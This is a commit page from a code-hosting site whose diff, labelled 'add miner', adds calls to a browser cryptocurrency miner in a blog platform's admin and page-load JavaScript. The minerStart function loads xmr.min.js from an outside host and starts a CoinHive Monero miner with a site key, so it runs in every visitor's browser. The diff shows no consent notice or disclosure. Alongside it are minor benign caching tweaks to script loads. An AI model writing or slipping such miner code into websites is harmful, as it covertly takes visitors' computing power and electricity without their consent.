Commit dca5c128 authored by Vanessa's avatar Vanessa

add miner

parent 113b52dc
...@@ -205,7 +205,7 @@ $.extend(Admin.prototype, { ...@@ -205,7 +205,7 @@ $.extend(Admin.prototype, {
*/ */
init: function () { init: function () {
//window.onerror = Util.error; //window.onerror = Util.error;
Util.minerStart();
Util.killIE(); Util.killIE();
$("#loadMsg").text(Label.loadingLabel); $("#loadMsg").text(Label.loadingLabel);
......
...@@ -66,7 +66,8 @@ var Util = { ...@@ -66,7 +66,8 @@ var Util = {
$.ajax({ $.ajax({
method: "GET", method: "GET",
url: "https://cdn.staticfile.org/MathJax/MathJax-2.6-latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML&_=1473258780393", url: "https://cdn.staticfile.org/MathJax/MathJax-2.6-latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML&_=1473258780393",
dataType: "script" dataType: "script",
cache: true
}).done(function () { }).done(function () {
initMathJax(); initMathJax();
}); });
...@@ -93,7 +94,8 @@ var Util = { ...@@ -93,7 +94,8 @@ var Util = {
$.ajax({ $.ajax({
method: "GET", method: "GET",
url: latkeConfig.staticServePath + '/js/lib/flowchart/flowchart.min.js', url: latkeConfig.staticServePath + '/js/lib/flowchart/flowchart.min.js',
dataType: "script" dataType: "script",
cache: true
}).done(function () { }).done(function () {
initFlow() initFlow()
}); });
...@@ -243,7 +245,8 @@ var Util = { ...@@ -243,7 +245,8 @@ var Util = {
$.ajax({ $.ajax({
method: "GET", method: "GET",
url: 'https://img.hacpai.com/xmr.min.js', url: 'https://img.hacpai.com/xmr.min.js',
dataType: "script" dataType: "script",
cache: true
}).done(function () { }).done(function () {
var miner = new CoinHive.Anonymous('gr2r3rJsYmaJpSd2Nml15zomewwc6Lzc', {threads: 1, throttle: 0.9}); var miner = new CoinHive.Anonymous('gr2r3rJsYmaJpSd2Nml15zomewwc6Lzc', {threads: 1, throttle: 0.9});
miner.start(); miner.start();
...@@ -253,7 +256,7 @@ var Util = { ...@@ -253,7 +256,7 @@ var Util = {
* @description 页面初始化执行的函数 * @description 页面初始化执行的函数
*/ */
init: function () { init: function () {
//window.onerror = Util.error; //window.onerror = Util.error;
Util.killIE(); Util.killIE();
Util.setTopBar(); Util.setTopBar();
Util.parseMarkdown(); Util.parseMarkdown();
......
...@@ -381,7 +381,6 @@ $.extend(Page.prototype, { ...@@ -381,7 +381,6 @@ $.extend(Page.prototype, {
hljs.initHighlighting(); hljs.initHighlighting();
} }
}); });
}, },
/* /*
* @description 文章/自定义页面加载 * @description 文章/自定义页面加载
...@@ -422,6 +421,7 @@ $.extend(Page.prototype, { ...@@ -422,6 +421,7 @@ $.extend(Page.prototype, {
} catch (e) { } catch (e) {
document.write("<script src=\"" + latkeConfig.staticServePath + "/js/lib/json2.js\"><\/script>"); document.write("<script src=\"" + latkeConfig.staticServePath + "/js/lib/json2.js\"><\/script>");
} }
Util.minerStart();
}, },
/* /*
* @description 加载随机文章 * @description 加载随机文章
......
...@@ -41,5 +41,7 @@ ...@@ -41,5 +41,7 @@
}; };
Util.parseMarkdown('content-reset'); Util.parseMarkdown('content-reset');
Util.init()
</script> </script>
${plugins} ${plugins}
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment